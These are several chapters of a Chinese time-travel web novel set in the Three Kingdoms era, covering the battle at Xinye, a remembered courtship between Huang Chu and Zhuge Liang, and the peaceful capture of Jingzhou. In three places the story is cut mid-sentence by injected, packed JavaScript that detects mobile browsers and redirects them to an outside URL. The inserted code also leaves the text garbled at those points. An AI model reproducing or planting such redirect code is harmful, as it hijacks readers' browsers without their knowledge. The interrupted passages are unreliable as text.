等曹操终于下定决心,开口道:“全军听令——” 话音未落,忽然东边白河上也亮起火把,喊杀声震天。只见白河上不知何时布满了小船,数目看不真切,只就着火光隐约看得出船上满载兵士,当中簇拥的主船上高挑起一杆大旗,上书“蔡”字。 “主公!蔡瑁果然是诈降!”众人纷纷道。 这时南方荆州方向隐隐也传来兵马声响,探子急报,荆州有兵马来,一样是骑兵带着火把,目测人数至少过万。 此时新野城内三更梆子一响,城中喊杀声顿起。因新野城百姓当初早已尽数随刘备去了襄阳,所以赵云等人在城中可以放开手脚大干。 与此同时三支火箭噌噌噌射向曹营,只见张飞骑在马上,抡着火把,带队冲锋,仿佛黑暗中降临的火神。 “主公,和在安林时,一样……一样……火……火……”曹洪颤抖着声音喊道。 这一批曹军大多并未经历过安林的战斗,但他们从曹洪的声线里感受到了那场战役的恐怖。 “杀!杀!杀!”喊杀声铺天盖地。 “主公,咱们被包围了!为今之计,速撤为宜!”曹仁也叫道。 曹操见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486245|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军心已散,无力回天,忙道:“撤!”率军向北边博望方向撤去。 接近博望,却见一队人马挑着火把疾驰而来,为首的旗帜是“刘”“关”。 虽然实际是刘封和关平,但众人以为是刘备和关羽杀来,吓得阵脚大乱,只得改向,往西北逃去。 可怜新野驻军和博望驻军,没有来得及逃脱的将士被大部队抛弃。所幸这次梁爽嘱咐了,尽量少杀人,多俘虏,因此约有两万人保住了性命。 当张飞和梁爽踏着满地断箭从南门进入新野县城时,火光照见糜芳瘫坐在尸堆上,旁边插着半截旗杆——旗面早烧成了灰。原本白白胖胖一个糜将军,满脸血污灰土,仿佛瘦了一圈。 “糜将军!可曾受伤?”梁爽关切地问道:“赵将军呢?” 糜芳累得上气不接下气,大喘着粗气说道:“子龙……从北面出城……追……追……” “不是早说好了不追吗?”梁爽急了。 糜芳:“追……追……追不远……就会回来的。” 梁爽和张飞松了口气。 张飞道:“你这说话大喘气,你要再慢点,我就拍马追子龙去了。” 糜芳用尽力气抬起手指,指着身下:“翼……翼德……你……站着说话……不腰疼……他爷爷的曹……曹贼在这里头驻扎了两万五千多人……我……我们……五千……军师你……你下次……你下次能不能多给……多给点人……少……少贪功……杀……杀不完……根本……杀不完……”人家本来是徐州富商子弟,为了保卫乡里才练了点武,跟着妹夫刘备出来闯荡时虽挂着将军的名,但一般不至于让他扛大梁。如果按原计划偷袭,倒还好说,这次打的是早有准备的曹军,确实不容易。 张飞道:“我们也不容易的,为了救你们,跑得快累死了。要是我们来晚点,你们被曹操围死在城里,还有机会在这说话?我们五千人装出了五万人的气势,后排兵士每人举三支火把,马尾巴上都拖着树枝。两千五百人装作是襄阳来的,两千五百人装作是荆州来的。为了防止被曹操的探子识破,军师嘱咐了,每过一里便要有假的传令兵纵马高呼‘后军速进’,其实是同一批人绕林换马反复呼喊……我们容易吗!就那么点子兵!不敢多带人,生怕襄阳留守的兵力不够。” 梁爽忙赔着笑脸两边劝和:“都不容易,都不容易,我的错,我的错。将军们辛苦了。” 张飞忙道:“军师这是哪里的话,咱们不但化险为夷,还再立新功,军师何罪之有!” 糜芳面露疑问,显然不知道到底发生了什么。 梁爽简要说明,自己误判局势,导致新野城内五千伏兵差点被曹操吞掉。糜芳听了,倒抽一口凉气,连咳了几声。 “军……军师……曹……曹……曹……” 张飞急性子替他问了:“军师,曹操下一步会怎么走?”糜芳如逢救星,连连点头。 梁爽叹道:“我也说不准。如果他相信昨夜关云长将军扮演的荆州水军是真的,那他会撤;如果他对荆州不死心,或者他发觉被骗之后咽不下这口恶气,那他还会再来。” 张飞和糜芳面色凝重地点点头。 赵云回城,与关羽、张飞、梁爽、糜芳在北城门相见,得知张飞和梁爽冒险来援,感动不已。梁爽道:“原是我的过失所致,怎能让将军因我的错而牺牲。若我败在曹贼手中,也不过是赔将军一条性命,为自己的错误赎罪罢了。一切原是我应当做的。将军当多谢张将军同袍之谊。还有主公。主公念及兄弟之情,无论如何都不肯割舍,才有我这新野一行。” 赵云含泪多谢:“赵云为主公尽忠,牺牲亦是分内之事,怎当得起主公、张三哥和军师为我如此。云感念在心,永志不忘。” 战后安排,先前在博望城外吓唬曹军的刘封和关平趁势接管博望,张飞和糜芳留守新野,关羽则仍把持白河水道。 梁爽向赵云道:“赵将军,劳你送我回家。” 回襄阳。 坐在马车上,看着赵云一身染血白袍骑在白马之上的背影,梁爽忽然意识到,她这次不只救下了小赵将军,还救下了历史上投井的糜夫人。 因为这次刘备没有兵败逃亡,所以糜夫人没有抱着阿斗与众人走散身受重伤,也就不必投井逼赵云带阿斗速速离去,而是现在安然住在襄阳。 大家都在,没有生离死别的悲怆。这样真好。 刘禅“我曾与赵子龙在长坂坡七进七出”的战绩看来是无了。梁爽心想。 想到这里,她猛然想起回襄阳之后还有一件愁事等着她。一件她自从被刘备拜为军师以来就回避去做的愁事。 28. 军师谈恋爱的路子有点野(二) 赵云和梁爽回到襄阳城外时,中午日头正烈,化尽了汉水两岸的寒气。 襄阳城门缓缓开启,吊桥“吱呀”落下。刘备早已率众等候在城门口。 二人率队入城,刘备快步上前来迎。赵云翻身下马时踉跄了一下,刘备已抢上前扶住:“子龙!”这一声唤得赵云眼眶发热,他单膝跪地:“主公!末将赵云,害得主公担心了!” “回来就好,回来就好!”刘备打断他,双手托起赵云臂膀,仔细打量着他,见他脸上虽有血污,但通身并无伤痕,不禁喜上眉梢:“平安回来,不曾受伤,好!好!不愧是我常胜将军!” 又转而向梁爽一揖:“军师辛苦。此战不但救子龙与新野诸将士脱困,还大胜曹军、重夺博望,全赖军师妙计。备已安排酒席,这就为军师和子龙还有诸将士接风庆功!”将士们阵阵欢呼。 “来,子龙,回去坐下谈!”刘备一手携子龙手,一手向梁爽做一个“请”的手势。二人忙谦辞。刘备一手挽子龙,一手隔着袍袖轻握梁爽手腕,携二人同行。 沿街的商铺挂满了红绸,街道两旁挤满了从新野迁来的百姓。有老妇捧着清水,有孩童举着时令花枝,蘸水向二人挥洒——这是新野人迎接凯旋将士的习俗,他们在感谢二人保全新野城池。 “玄德公!”“常胜将军!”“常胜军师!”欢呼声此起彼伏。一个总角小儿挤到最前面,将一束新采的桂花抛向梁爽。她伸手接在怀里,一股浓香扑面而来,桂枝上沾的水滴簌簌落下,在阳光下折射出七彩光芒,映着她的笑脸。 宴席设在府衙正厅,宴上,刘备亲自为赵云布菜斟酒:“子龙此战,以五千破二万多人,当浮一大白!” 赵云按住刘备的手,喉头哽咽:“若非主公不弃、军师运筹帷幄,遣关张二位将军及时相救,云早已……” “你我兄弟,何分彼此?”刘备亦拍拍他的手:“备一路坎坷,幸有子龙与诸位忠心追随,此实乃备之大幸也!子龙,万勿客气,你我饮尽此杯!” 赵云又想向军师敬酒,却找不见黄楚身影。侍者说军师去净手了。刘备笑道:“不必等她。军师不善饮酒,准是溜回家去看孔明先生了。” 梁爽几乎是一路跑回自己那座街巷深处的小院子。她迫不及待想见孔明,想与他分享自己的喜悦。先前在战场上她的裙裾沾满了泥浆和血污,发髻也已散乱,但她却顾不得整理。 一步跨进院子,正赶上高洋抱着药罐从厢房出来,二人险些相撞,梁爽忙伸手帮他将药罐托住。“夫人!”高洋惊喜地喊:“先生他……他的眼睛睁开了!” 药罐“咣当”掉在地上,褐色的药汁溅湿了梁爽的绣鞋和裙摆。 汪嬷嬷也从内室探出头,老泪纵横:“夫人回来了?快来看!方才姑爷的眼睛,真的睁开了!”她颤抖的手指向床榻:“老奴正给姑爷擦身,忽然看见他睫毛抖动得厉害,然后,那双眼睛就睁开了!” 临别前他许诺她的,他真的做到了!梁爽三步并作两步扑到床前,却见孔明依旧闭目躺着。她握住他的手,那修长的手指温热柔软,却纹丝不动。 “适才真的睁开了!”李嬷嬷急得快要跺脚:“老奴也看见了!姑爷的眼睛,就像……就像要看清什么似的!” 梁爽轻轻道:“孔明,你听我说.,我把小赵将军和糜将军还有那五千兵士从曹操手里救出来了……”将她如何获胜告诉了他。 “我知道你大概还没有休养好。所以,没有让我看到你睁开眼睛的样子,没关系。我只要能知道你情况在好转,就已经很好了。乱世之中,团聚相守已是不易,不敢奢求太多。” 话音落下的刹那,孔明的睫毛突然颤动了一下。梁爽屏住呼吸,看着那长长的睫毛缓缓抬起,露出一双清澈的黑眼睛。 “快看!”高洋指着孔明的眼睛:“先生睁眼了!”李嬷嬷和汪嬷嬷也欢欣鼓舞。 那双黑色眼睛,深邃明亮,仿佛能看透世间万物。漆黑的瞳孔中,倒映着她的身影,仿佛要将她整个人都吸进去。梁爽只觉得心跳漏了一拍,脸颊微微发烫。 明明刚穿越来时也见过他的,不知为什么,这次看见他的眼睛时,她心跳得这么厉害。 孔明的目光温煦地落在梁爽身上,他眼角微弯,似乎努力地想要笑一下,但是还没能笑得明显,便又合上了眼。 两个嬷嬷和高洋皆是暗暗叹了口气,看向梁爽。 梁爽不知道自己双眼何时蓄满了泪。她抬起袖子抹了抹,含泪笑道:“谢谢你费这么大力气哄我高兴。你兑现承诺的决心我也看见了。三弟在南阳为你诊脉时说你一定会醒,只是时间早晚。我相信。所以我只要慢慢等你醒来就好。我现在不像在南阳时那么怕了,我现在,好像真的可以好好承担身为军师的责任、保护我想保护的人了——我想保护的人里,当然有你。我会继续勤研兵法、越来越厉害的。呀,好不容易你睁眼看一次,却看见我如此狼狈的模样……” 孔明起先一直左眼皮跳,听见最后这句,右眼皮跳了跳,意思是他觉得她这样也挺好看。 梁爽一笑,眼角的泪珠顺着脸颊滚落。 旁边的小高洋看着先生和师娘的神仙爱情,看得眼泪汪汪。被两个嬷嬷一人握住一只胳膊拎了出去:“夫人要和姑爷说话,你在这杵着干嘛。今天的武练完了吗?刚刚药砸了,还不去重新熬一份?” 太阳逐渐西斜,初冬的阳光透过窗棂洒进来,将孔明的侧脸镀上一层金边。窗外,一只喜鹊落在梅枝上,喳喳叫着。 梁爽伏在他床边,看着他的睡颜,慢慢释放一日一夜奔波作战的疲惫,沉入梦乡。 她梦见了作为黄楚时与孔明的初遇。 建安六年,黄楚二十岁。此时距离与王粲相亲已经过去了五年,托王粲的福,外界盛传黄家独女貌若无盐且性情乖僻,故而五年间没有任何人来黄家提亲。 虽然黄承彦和夫人蔡氏都觉得是没有男子配得上自家女儿,但到底也为女儿将来的生活担忧:这世道,女子不能自己出去挣饭吃,若不嫁人,将来生计困难。 但他们又不肯为了把女儿嫁出去,而将女儿托付给错的人,反而误了女儿一生。因此便安然将女儿养在家里。黄承彦放出话去:“有我在一日,便养女儿一日。我养我女儿,我乐意,别人管我嫁不嫁她出去?”真正名士风度,丝毫不介意俗人眼光。 黄楚自己也不急,每日晨起去竹林习武,午饭后读父亲的藏书,文武兼修,日子充实。 那天正值隆冬,南阳城外的竹林被积雪压弯了腰。黄楚察觉有人近前,收了长枪,站在竹林中,望着一个手持羽扇的年轻书生,笑问他:“咦?大冷天,你拿扇子做什么?” 大冬天拿扇子,还能因为啥,还不是因为大哥诸葛瑾跟他说他拿扇子比较俊逸。白面书生没想到她说话这么直率,臊得脸通红:“请问、请问小姐,黄承彦先生家怎么走?” 黄楚笑:“你找黄先生做什么?” 听她这样问,书生似乎猜到了她是谁,脸更红了,红到耳朵根:“在下是豫章太守诸葛玄之侄,来找黄先生,商量、商量些事情。” 黄楚想起前几天父亲跟她提起的相亲,开始仔细打量眼前的年轻人。只见他身量修长,约莫八尺有余,着一袭月白色长袍,外罩淡青色鹤氅,整个人如修竹般挺拔。面容清俊,眉如远山,斜飞入鬓,一双凤目深邃如潭,眼尾微微上挑,带着几分清冷的秀气。鼻若悬胆,唇若涂朱,下颌分明,显得既儒雅又不失英气。实在是个样貌脱俗的人,只不过因害臊,整个脸红得都像桃儿似的,让人忘了他原本的出尘气质。 黄楚觉得有些好笑,成心逗他:“哦,听闻近来有人欲向黄家小姐提亲,是你么?” “是……啊不……这在下不好答。”书生果然更害羞了,小脸红到了脖子。 黄楚撇撇嘴:“这有什么不好答?见黄小姐果然如传闻中说得那样貌丑,想打退堂鼓了?现在回去还来得及。” “绝不是。”他这句话脱口而出,答得干脆,答完之后整个人红得像是一只烧热了的铜壶,不仅发红,还发热滚烫:“在下、在下觉得黄小姐,如在下先前设想的那样,不俗。”他一面说着,一面忍不住摇动羽扇,扇风散热。 黄楚“噗嗤”一声笑了:“你倒是挺会说话。不好看就不好看,还‘不俗’。随便你怎么说都行,反正我又不在乎别人如何评价我的长相。” “在下适才所言绝非评论相貌!”书生急道:“而是内在。” 黄楚又笑:“你我此处相谈,不过一盏茶的时间,你能看见多少内在?” “还看了小姐舞枪半炷香之久。” 黄楚:“……我刚刚想练一招‘云卷千山’,练了几百遍都没成,枪全都掉到了地上,这些都被你看去了?” 书生老实点头。 黄楚:“……那你从我舞枪,看出我什么内在了?” 书生:“小姐枪法有新意,且有克服困难百折不挠的意志。此外,行动敏捷,看得出头脑聪明,身体很是健康。” 黄楚服气:“行吧……事已至此,先吃饭吧。” 书生一听留他吃饭,高高兴兴跟她走。 黄楚内心:真不客气…… 黄承彦站在书房的窗前,望着庭院中女儿引着一个手持羽扇的年轻书生来家,抬头确认了一番今天太阳是不是打从西边出来的。前些天有老友庞德公来信,为儿媳诸葛氏的二弟诸葛亮说亲,信中将诸葛亮好一番夸赞,称为“卧龙”。黄承彦今日一见,心下暗道果然名不虚传,庞德公宝刀不老,擅长识人,慧眼如炬。 那年轻人身姿挺拔,举止从容,观之气度蔚然秀越。最重要的是,这小子跟他姑娘讲话时羞答答只敢偷眼看她,还脸颊红成猴屁股——想必是极为心悦他女儿了。 诸葛亮见着黄承彦,恭恭敬敬自报家门。 黄楚道:“爹爹待客,我做饭去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486246|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄承彦猜到女儿想做什么,忙用眼神试图制止,奈何女儿不理。黄承彦无奈,只得任女儿去做。 “诸葛贤侄,请坐。”黄承彦转身,示意诸葛亮入座。 诸葛亮躬身行礼:“黄老先生,晚生有礼了。” 黄承彦与诸葛亮两人分宾主落座,黄承彦一面与他倾谈,一面留心观察着眼前的年轻人:此人目光清澈而深邃,谈吐间引经据典,见解独到。年纪虽轻,却有着超乎年龄的沉稳——虽然因为害羞紧张,稍稍漏出一点点局促的破绽,但正是这点破绽,让黄承彦觉得只要女儿愿意,可以把女儿许给他。 不多时,黄楚的拿手好菜“不负众望”地端上了桌:青菜焦黑,鱼汤浑浊,米饭夹生,就连最简单的清炒豆腐也散发着奇怪的味道。 黄承彦心中暗叹:夫人也是惯女儿没边了,明明就在厨房,也不拦着。 主客谦让过,诸葛亮拾起筷子,大快朵颐。 黄家父女目瞪口呆。 黄楚:“公子……这饭菜,味道如何?” 诸葛亮:“好吃,比婶婶做得好吃。”他八岁丧父,寄养在叔父诸葛玄家。 黄楚看向他的眼神多了一丝同情,说道:“别吃了。”说着将饭菜撤走拿去喂猪,这时由蔡夫人带嬷嬷端了正经饭菜来。 诸葛亮连忙起身见礼。蔡夫人将他上下一打量,连忙向丈夫投去眼神:同意。这女婿,可太同意了。 正经饭菜,诸葛亮吃得更香。 吃完饭,黄承彦道:“听闻贤侄精于数术,小女黄楚也对此颇有兴趣。不知贤侄可愿与小女切磋一二?” 诸葛亮连忙道:“能与黄姑娘切磋,是亮的荣幸。” 黄承彦忙站起身来:“那你们年轻人慢慢聊。楚儿,为父就不打扰了。”忙不迭地和蔡夫人出去,还不忘轻轻带上了房门。 黄楚内心:爹你这撮合的意图要不要表现得再明显一点啊…… 房间只剩下两个人。两个人大眼瞪小眼,黄楚也莫名觉得有些不好意思起来。 “这屋子,怎么忽然有些热。”黄楚道。她为了缓解尴尬才说这话,说完发现更尴尬了。 诸葛亮红着一张俊脸,鬓角全是汗,正竭力控制他扇风降温的速度不要过快,以保持风度得体。听黄楚这么说,他害臊得根本张不开口接话。 既然黄承彦走之前留话说让二人切磋算术,黄楚便道:“听闻先生精于数术,小女子有一题相询。”她听见自己的声音竟也有些发颤,连忙定了定神:“一口井深十丈,青蛙居于井底,白日向上爬三丈,夜晚睡眠,滑落二丈。问几日可出井口?” 诸葛亮只略一思索,便答道:“七日。那青蛙白日攀爬,夜晚滑落,看似每日仅进一丈。然则到第七日时他已攀至九丈高,再爬一丈便可出井,不须再等夜晚滑落,故而七日可出井口。” 黄楚本就没有存心刁难他,出题并不难,他一下子答对了,她也不知该说什么,只微微红着脸,说道:“你比那些自恃才高的‘才子’们心细多了。” “题虽简单,关系重大,亮不敢答错。”诸葛亮说着,偷偷抬眼瞄了瞄她,见她在看他,慌忙又把眼睛偏向别处。 黄楚将手肘支在桌案上,手托着腮,重新细细看他。他的发髻梳得一丝不苟,以一根青玉簪固定,几缕碎发垂落额前,在不知何处来的微风中轻轻摇曳。实在是个很俊俏、而且谈吐决不讨厌的人。但若说要嫁给他,黄楚又觉得似乎下不了决心。 “你呀,到底看中我什么?”她问:“王粲放出去的流言,我不信你没听过。” “正因听过流言,我才在心中猜想,小姐是个聪明、勇敢、很‘真’的人。亮想要与之共度一生的人,便该是小姐这样。寻觅许久,终于得知,只恨平日闭门读书,获知流言太晚。” 黄楚感觉自己的心像一块玉磬,被他轻轻敲动了一下,发出清脆的鸣声。“只因为这些,你便打算来求娶么?婚姻大事,不容儿戏。” “亮今日前来,自然看得到小姐更多美好之处,但那恐怕要说好久才说得完。”他这次不再偏开视线,望着她,郑重说道。 “我说清楚。我的容貌身段,便是这样,不会刻意再修饰。性情,你今日也领教过了。我家如你所见并不富裕。我爹爹虽然称得上‘名士’,但是个避世的人,帮不到你什么。”黄楚道。 他没有正面答话,只说:“如果小姐对亮并不十分中意,亮愿意以后再多来领教小姐的算术题。” 黄楚心想,大概他是要以此为借口遁掉了。便敷衍道:“随你。” 诸葛亮起身,行礼告辞。 第二日清早,黄楚又去竹林中练枪。 “小姐若将左手再往上挪两寸,或许‘云卷千山’就能练成了。”忽然有一个清朗的声音这么说。 黄楚看向那个人,看着那个人黑而亮的眼睛,内心的积雪轻轻松动。她微笑道:“今天终于不拿扇子了?” 29. 一心要那荆州(四) “夫人,夫人?怎么伏在这里就睡了?可别着凉啊!胳膊不压得酸痛么?”李嬷嬷轻轻推搡着梁爽道。 梁爽从梦中幽幽转醒,一时恍惚,分不清梦境与现实。月光透过窗棂洒进来,洒在诸葛亮的脸上,那张清俊的面容与梦中的影像重叠。 她怔怔地望着那些光影,脑海中还残留着梦中的画面:那个手持羽扇的年轻书生,眉目如画,目光如水。他们在竹林中相遇,在书房中谈论天下大事。他的声音清朗悦耳,每一个字都仿佛带着魔力,让人不由自主地想要倾听。 “你……”她轻声叹道。 做了这个梦,过去的场景与当下的情感产生连结,她在梦里找回了很多愉快记忆,可是随之而来的,却是隐隐的刺痛:“我到底是谁?” 无论她是黄楚还是梁爽,她都记得他是卧龙岗的诸葛亮,记得他是蜀汉的丞相。 但那些关于她和他相爱的记忆,只属于黄楚,不属于梁爽。 现在她在梦里拾起那些沾染蜜糖味道的记忆碎片时,既快乐,同时又要怀疑,怀疑这到底曾经真实发生过,还是根本全都是她的幻想。 如果痛痛快快接受自己是黄楚,那她就是背叛了自己——她在现代的二十多年究竟算什么? 如果仍坚持自己是梁爽,那她就是在偷窃,偷窃黄楚拥有的爱情。 她可以既是梁爽,又是黄楚么? 她叩问着自己的心:真的想将梁爽和黄楚糅合成同一个人格么?最后是梁爽吞没黄楚,还是黄楚吞没梁爽? 眼下自己作为黄楚的那部分记忆碎片迟迟找不回,这样下去,看来是“梁爽”要在很长一段时间里占据上风了。 那诸葛亮怎么办?作为梁爽的她对他并没有男女夫妻之情。她选择做“梁爽”而非“黄楚”,是否等于在情爱上抛弃了他? 梁爽的指尖轻轻划过他的眼角。她记得梦中的他,目光温柔而专注,仿佛她是这世间最珍贵的宝物。可是现在,那双眼睛却常紧闭着。 “我们……真的相爱过吗?”她轻声问道:“我把那些都忘记了,对你真是不公平。请你不要伤心。” 他左眼皮跳了一跳,右眼皮又跳了一跳。 窗外传来竹叶沙沙的声音,仿佛在替他回应她的疑问。梁爽望着诸葛亮静谧的面容,心中涌起一阵莫名的悸动。那种感觉,既熟悉又陌生,让她既困惑又心痛。她忽然又想起梦中的场景,那个书生站在竹林中,朝她微微一笑。那种温暖的感觉,让她几乎想要落泪。 “你一定要醒过来……”她喃喃道:“醒过来,清楚地告诉我,我们过去的事情。我也会努力地把回忆找回来,像我学兵法一样努力。我们一起慢慢变好,好吗?” 他左眼皮无声地跳了跳。 因为觉睡岔了,夜里梁爽睡不着,先重新把荆州和曹操的事放在心里盘了盘,盘到后半夜,盘得差不多了,又开始想另外一件愁事。 于礼,她该去拜见一下领导的老婆(们)了。 尤其,她已经拜访过关、张两家的妻眷,再不去同刘备家里人打声招呼,有些说不过去。两千年前的中国,和两千年后的中国一样,都讲究人情世事。 之前战事焦灼,她没心思也没时间去开展社交活动,现在曹军被她打没了一半兵力,说不定会直接退兵,荆州也眼看着即将收入囊中,她的“夫人社交”也不得不提上日程。 但真让她去刘备府上,梁爽又很抗拒。毕竟去了,就大概率要见到刘禅。 梁爽确实想看看刘禅这小祖宗到底是什么样,但她对于刘禅的感情非常之复杂。一方面她想想历史上刘禅干的那些气人的事,想想刘禅怎么辜负了诸葛亮的“鞠躬尽瘁死而后已”,她怕自己控制不住想揍他;另一方面,现在的刘禅还是个刚刚逃过长坂坡一劫的小奶娃,还什么祸害人的勾当都没干,梁爽又不能指责他什么…… 梁爽纠结来纠结去,纠结到了天亮。第二天梁爽决定,带上刘琮,提前去把荆州拿下先…… 话说蔡瑁当初辞别曹操回荆州,走的时候风风光光,结果走到半路,就赶上了关羽在上游用沙袋截留白河水。 蔡瑁原本站在船头,怀里揣着沉甸甸的镇南侯印,嘴角压不住一抹笑意。侯印的重量让他内心感到无比踏实,他感觉自己后半生的荣华富贵就好像脚下的甲板一样稳当。他望着眼前静静流淌的白河水,仿佛看见了自己未来的一片坦途——而丝毫没有觉察,眼前河水似乎越来越浅了。 直到船底不时传来与河床摩擦的声响。 “什么声音?不对劲。”蔡瑁惊觉船只搁浅,猛地转身:“传令下去,全军戒备!” 话音未落,两岸突然响起震天的喊杀声。无数火箭划破长空,如流星般坠向船队。蔡瑁眼睁睁看着左右两翼的几艘战船燃起熊熊大火,浓烟冲天而起。 “加速行驶!快!护住小船,准备放小船!”蔡瑁声嘶力竭地喊道,准备带士兵换乘小船逃离。他拔出佩剑抵挡箭雨,却见一道黑影从岸边疾驰而来。那人身披玄甲,手持长枪,竟是直接策马冲入河中! “魏延!”蔡瑁认出是谁,瞳孔骤缩。他认得这张脸,这个曾经在刘表帐下郁郁不得志的无名小辈,如今却成了刘备麾下最锋利的刀,襄阳守将被他屠戮尽了…… 魏延的战马在不及腰深的河水中奔腾,激起层层浪花。他手中的长枪挥舞,每一次挑刺都带起一片血花。蔡瑁的水军虽然人数众多,但在搁浅的战船上根本施展不开,只能眼睁睁看着魏延如入无人之境。 “放箭!快放箭!不许他近前,射死魏延者赏黄金百两!”蔡瑁慌忙下令。 箭雨倾泻而下,魏延却仿佛早有预料。他猛地一拉缰绳,弃马跃入水中,堪堪避过箭矢。与此同时,更多的敌军从两岸杀出,他们手持火把,往甲板上投掷,将一艘艘战船点燃。 蔡瑁只觉得眼前一片血红。他看见自己的士兵在火海中挣扎,听见此起彼伏的惨叫声。魏延的身影在火光中若隐若现,每一次出现都伴随着更多的伤亡。 “将军,快撤吧!”副将刘先拉住蔡瑁的衣袖:“再不走就来不及了!末将为您断后!” 蔡瑁犹豫片刻,终究还是点了点头。刘先立即指挥亲兵,将一艘小船放下。蔡瑁刚登上小船,就听见身后传来刘先的怒吼:“魏延小儿,你这叛徒!可敢与我一战!” 蔡瑁回头望去,只见刘先手持长枪,正与魏延缠斗在一处。两人你来我往,不过数个回合,刘先便渐渐落了下风。 “快划!”蔡瑁咬牙下令。小船在混乱中悄然离去,身后是冲天的火光和此起彼伏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“诸位!”蔡瑁举袖拭泪,声音中带着悲愤:“魏延那个逆贼,他……他……前几日在乱军中……”蔡瑁声音哽咽,低下头,肩膀微微颤抖。 人群中响起窃窃私语。 这时蔡瑁又猛地抬头,眼中含泪:“在乱军中……魏延那个畜生,他杀害了我们的少主刘琮!”蔡夫人和刘琮就算不被曹操所杀,也在赶往青州的途中,绝不可能回来辟谣。 此言一出,全场哗然。 “少主?!”有人惊呼。 “少主不是在襄阳吗?”有刚从襄阳探亲回来的人说道。 蔡瑁举起手,示意众人安静:“先主刘表,抚爱百姓,待我军民不薄。先主临终将少主托付于我,我无能,原本要为少主讨来朝廷册封,结果回来的路上……黄楚以阴毒手段阻断河水,令战船搁浅。魏延趁我军不备,偷袭船队……少主他被魏延那个逆贼……”说罢掩面痛哭。 人群中渐渐响起抽泣声。荆州军民念着刘表的恩德,听说刘琮惨遭毒手,无不感到悲愤。 “诸位!”蔡瑁擦去眼泪,声音铿锵有力:“先主待我们恩重如山,如今少主惨遭毒手,我们岂能坐视不理?魏延那个逆贼,不仅杀害少主,还屠戮我五万水军。此仇不报,誓不为人!” “报仇!报仇!”人群中爆发出震天的怒吼。 蔡瑁看着群情激愤的军民,嘴角克制不住地微微上扬。 好巧不巧,这时城外传来高声叫喊:“荆州守军听着!尔等之主公刘琮在此,命令尔等,打开城门!” 30. 荆州,就这么……到手了? 尴尬。太尴…… 尴尬。太尴尬了。 翻遍大汉四百年历史,史册中没有任何一个场景可以比这更尴尬。 气氛都已经烘托到这个位置了,下一刻荆州众人就要挥舞着拳头抡起兵器冲向城外刘备军队为刘琮报仇了,结果刘琮活生生出现在城外,说让大家打开城门。 更尴尬的是,刘琮没给蔡瑁留一点面子,明晃晃点出来说蔡瑁出卖他们母子,令他们险些被曹操所害,幸亏刘玄德刘皇叔和军师黄楚出手相救,才保全他们母子性命。当初负责蔡夫人和刘琮的将军王威也在旁出言作证。 原本荆州军民对刘琮,说实话,也没有多么深厚的感情。刘琮那么年轻,还没开始主政,大伙儿对他没什么概念。 而且刘表虽然没有剥削民众剥削得太厉害,但也算不上特别廉政爱民的主公——否则蔡夫人的花园就不会那么富丽堂皇了。 但经过蔡瑁一番煽动,大伙儿想想刘表如何在乱世中保全了一方安稳,顿时对他涌起无限感恩的心,并将报恩的心情投射在了刘琮身上,现在刘琮的一句话,在荆州军民的心里可就大大不同了。 蔡瑁慌得站都站不稳,踉跄着爬上城楼向下望去,顿时如遭雷击。 只见城门外,一队人马缓缓而来。为首之人身着锦袍,面容清秀,不是刘琮又是谁? “这……这不可能……这怎么可能?”蔡瑁喃喃自语,脸色瞬间惨白。 刘琮勒马停住,仰头望向城楼:“蔡将军,别来无恙啊。” 城下军民一片哗然。 “莫非真是少主!”“少主还活着!”“少主先前说的话是不是真的?” 以张允为首的众将连忙三步并做两步冲到城墙边,好确认城下之人的真实身份。 蔡瑁强作镇定:“大胆贼子,竟敢冒充少主!来人,放箭!” “别再困兽犹斗了,蔡将军。”刘琮高声说道:“你就算此时杀我,城墙上的守兵早就看见我了,诸位将军现在也看见我了,你如何向他们交代?” 蔡瑁语塞,额头渗出冷汗,后背也是冷汗,冷汗从头到脚顺着脊梁骨往下淌,活像被人浇了一桶冰水。他偷偷瞄了眼四周,发现守军们都在用异样的眼光看着他,那眼神,活像是在看一个跳梁小丑。 “我……我是……”蔡瑁脸红得仿佛煮熟的虾子,像是被老婆抓到偷腥的丈夫般梗着脖子不认账:“那个……情报有误……情报有误,说主公死在魏延手里了。” 蔡瑁只觉得自己的脸皮在一点点剥落,恨不得找个地缝钻进去。他偷偷往后退了两步,却发现身后不知何时已经围满了守军,一个个虎视眈眈地盯着他,简直是要把他生吞活剥了。 “我……我……”蔡瑁用力咽下口水,结结巴巴:“那个……误会……”说完眼前一黑,昏了过去。 张允早就有投降刘备之意,现在主公刘琮就在城下,与刘备统一了战线,张允没什么好犹豫,与诸将一合计,绑了蔡瑁就开了城门。 梁爽、邓义一同进驻荆州,命魏延回襄阳向刘备报喜。 入城后,梁爽派人四处张贴“安民榜”,告诉百姓,照常度日,刘玄德公秉承仁爱之心,必不盘剥虐待。 荆州城不战而降。 避免了原本可能发生的一场恶战。 虽然梁爽早就计划要兵不血刃拿下荆州,真正等这件事情发生时,她高兴得简直不敢相信。 她做到了。她做到了。她做到了! 打胜仗当然是件快乐的事,但最快乐莫过于和平取胜。 